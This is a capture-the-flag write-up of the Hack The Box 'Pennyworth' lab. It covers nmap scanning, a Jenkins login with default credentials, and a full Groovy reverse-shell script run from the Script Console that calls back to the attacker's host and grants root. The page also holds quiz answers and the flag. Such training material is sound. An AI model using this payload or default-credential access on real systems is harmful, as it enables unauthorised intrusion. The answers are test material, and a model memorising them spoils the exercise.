# Pennyworth (Tier 1)

## <mark style="color:blue;">Description</mark>

* **Tier&#x20;**<mark style="color:green;">**->**</mark>**&#x20;1**
* **Difficult** <mark style="color:green;">**->**</mark> Very Easy
* **OS** <mark style="color:green;">**->**</mark> Linux
* **Tags&#x20;**<mark style="color:green;">**->**</mark> Common Applications / Jenkins / Java / Reconnaissance / Remote Code Execution\
  &#x20;             / Default Credentials

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FqclffHCHAhHWlaTzSYP2%2Fimage.png?alt=media&#x26;token=087fc778-935d-4a1a-85dc-61af19b01206" alt=""><figcaption><p><a href="https://app.hackthebox.com/starting-point?tier=1">https://app.hackthebox.com/starting-point?tier=1</a></p></figcaption></figure>

## <mark style="color:blue;">Write-up</mark>

* With a little research, I started answering the first questions

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FSnqmpmVdikb2t0V4oDzL%2Fimage.png?alt=media&#x26;token=9ea72996-a7fe-4e05-8885-1e630cd7f2f3" alt=""><figcaption></figcaption></figure>

> Answer: _**Common Vulnerabilities and Exposures**_

***

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2F97euI17Np59Ognt83QkX%2Fimage.png?alt=media&#x26;token=dab2969d-4aad-40be-acca-616af4cddd3e" alt=""><figcaption></figcaption></figure>

> Answer: _**Confidentiality, Integrity, Availability**_

***

* Then I did an initial port scan using [_Nmap_](../../../networks/tools-and-utilities#nmap)

{% code lineNumbers="true" %}
```bash
nmap 10.129.197.177 -p- -Pn --min-rate 2500 -oN scan.txt
```
{% endcode %}

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FbbZlQEyVSYG4knKmNJMx%2Fimage.png?alt=media&#x26;token=20e6dbbf-f81c-4494-afb6-7900e2dc24d7" alt=""><figcaption></figcaption></figure>

***

* I also did an exhaustive scan to get more information about the service running on the open port

<pre class="language-basic" data-line-numbers><code class="lang-basic"><strong>nmap 10.129.197.177 -p8080 -sVC -oN serv_scan.txt
</strong></code></pre>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FreN4NU8ylpTzT7ZYPA6L%2Fimage.png?alt=media&#x26;token=d78adbe3-b765-4424-9812-e1f1ca2f9168" alt=""><figcaption></figcaption></figure>

***

* With this, I answered the next question

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2F3643uwYl7546hH3kmcjN%2Fimage.png?alt=media&#x26;token=2cd9fc25-81f9-4612-a94a-5d9d47d3fb89" alt=""><figcaption></figcaption></figure>

> Answer: _**Jetty 9.4.39.v20210325**_

***

* I found the service was using the HTTP protocol on port 8080, so I visited the content being deployed through the browser. There, I found a _Jenkins_ login page, and with a little [research](https://www.jenkins.io/), I learned this is an automation server for web services

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FltWr2nPI81UqNfApri8d%2Fimage.png?alt=media&#x26;token=c09bfa95-1d47-4c12-bac1-b5bf8e373b91" alt=""><figcaption></figcaption></figure>

{% hint style="success" %}
To learn more about the HTTP protocol, you can go [here](../../networks/protocols/http)
{% endhint %}

***

* I tried to log in with common credentials, and after trying with the username _root_ and the password _password_, I got in successfully to an administration dashboard. I explored the site and noticed that by scrolling down to the bottom, the version of the _Jenkins_ service was shown

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2Fpoemd8R91J9LWgPFX3kv%2Fimage.png?alt=media&#x26;token=eab3fd9e-b6d2-4b79-b5fd-7bceb6b1bd1f" alt=""><figcaption><p>snippet</p></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FwGdFmJqYK0S0t01C1LKL%2Fimage.png?alt=media&#x26;token=f6f4ba97-e485-48a2-91f7-f7a495f6f8ab" alt=""><figcaption></figcaption></figure>

***

* With this, I answered the next question

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FANRO8soVD4VJmCsMItJK%2Fimage.png?alt=media&#x26;token=d8dfa7a4-4e50-450e-8fe3-33c56de20882" alt=""><figcaption></figcaption></figure>

> Answer: _**2.289.1**_

***

* I searched for possible CVEs for this version of _Jenkins_ but didn't find anything. So I explored the options of the dashboard and found that by scrolling down under the _Manage Jenkins_ tab, there was an option named _Script Console_, and with some [research](https://www.jenkins.io/doc/book/managing/script-console/), I learned that it would allow me to interact internally with the server via a type of script called _Groovy_

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2Fzb4JppRJNhvp7LWBqmmf%2Fimage.png?alt=media&#x26;token=c3d6f4aa-01a8-4fd0-be49-28ada796cb86" alt=""><figcaption><p>snippet</p></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2F3FePhe47aBt2hcBFJbBL%2Fimage.png?alt=media&#x26;token=7bf2d0e8-8591-4064-b01c-1ac903b93e61" alt=""><figcaption><p>snippet</p></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2F3lwRz0ioVc31pyiDybU8%2Fimage.png?alt=media&#x26;token=072dc3c5-7f8a-4614-a8b2-9891734d8b0a" alt=""><figcaption><p>snippet</p></figcaption></figure>

***

* With this, I answered the next question

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2F45PvPfjMD1ZeVIQMnVxK%2Fimage.png?alt=media&#x26;token=91cfaab1-62b5-495e-bc69-7b17d6715fec" alt=""><figcaption></figcaption></figure>

> Answer: _**Groovy**_

***

* With this, I could search for more exploitation options under this service to gain a shell from the target system. So, to find out possible payloads, I looked for help on the _Reverse Shell Cheat Sheet_ from the [_PayloadsAllTheThings_](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master) repository. After exploring and testing some payloads for _Groovy_, we found [one](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#groovy) that worked and helped me gain a shell as the _root_ user. After that, I sanitized the terminal to interact better with the system

{% code title="RevShell.Groovy" overflow="wrap" lineNumbers="true" %}
```groovy
String host="10.10.14.117";
int port=4444;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());
while(pe.available()>0)so.write(pe.read());
while(si.available()>0)po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {p.exitValue();
break;
}catch (Exception e){}};
p.destroy();
s.close();
```
{% endcode %}

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FoLC1FFntsJUgubIDK32Q%2Fimage.png?alt=media&#x26;token=d45d4e74-e986-4e58-83b8-1a72ca393297" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FYqgKwVBdUXicaDU2Jl84%2Fimage.png?alt=media&#x26;token=eee4d765-293e-4796-a2e2-e85b9f408a98" alt=""><figcaption></figcaption></figure>

{% hint style="success" %}
To learn about the sanitization process, you can go [here](../../../linux/useful-shell-resources#tty-sanitization)
{% endhint %}

***

* With this and a little research, I answer the next questions

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2F0O376bVoVlobMh4imyHb%2Fimage.png?alt=media&#x26;token=95c77308-feb4-4c06-b4d3-3a290680a855" alt=""><figcaption></figcaption></figure>

> Answer: _**cmd.exe**_

***

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FJmuhdl3nJBgqLAyL3BZE%2Fimage.png?alt=media&#x26;token=d90b34c7-3c83-4615-ae36-3f181f1fd8c1" alt=""><figcaption></figcaption></figure>

> Answer: _**ifconfig**_

***

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2F0w5h91jLQF8xYykk3HdG%2Fimage.png?alt=media&#x26;token=8004d08d-18c7-4881-882d-ec429a702ac8" alt=""><figcaption></figcaption></figure>

> Answer: _**-u**_

***

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FbtOIlQpSG1geXCSiPr6F%2Fimage.png?alt=media&#x26;token=4cac577a-abe4-44e5-a37d-afa8c92c68cf" alt=""><figcaption></figcaption></figure>

> Answer: _**Reverse Shell**_

***

* Then, I went to the _/root_ folder to see its contents and found a _root.txt_ file, finally reading it to obtain the flag

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FqIacNTJnteiDNAqC2Wcn%2Fimage.png?alt=media&#x26;token=a65d5507-1828-4756-9955-7a3b2c8f91b7" alt=""><figcaption></figcaption></figure>

***

* With this, I got the root flag and pwned the machine

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2F7IT97FbkPlTo5KtwskbE%2Fimage.png?alt=media&#x26;token=04037b77-8ec9-429a-87d1-9f8e19d957fe" alt=""><figcaption></figcaption></figure>

> Answer: _**9cdfb439c7876e703e307864c9167a15**_
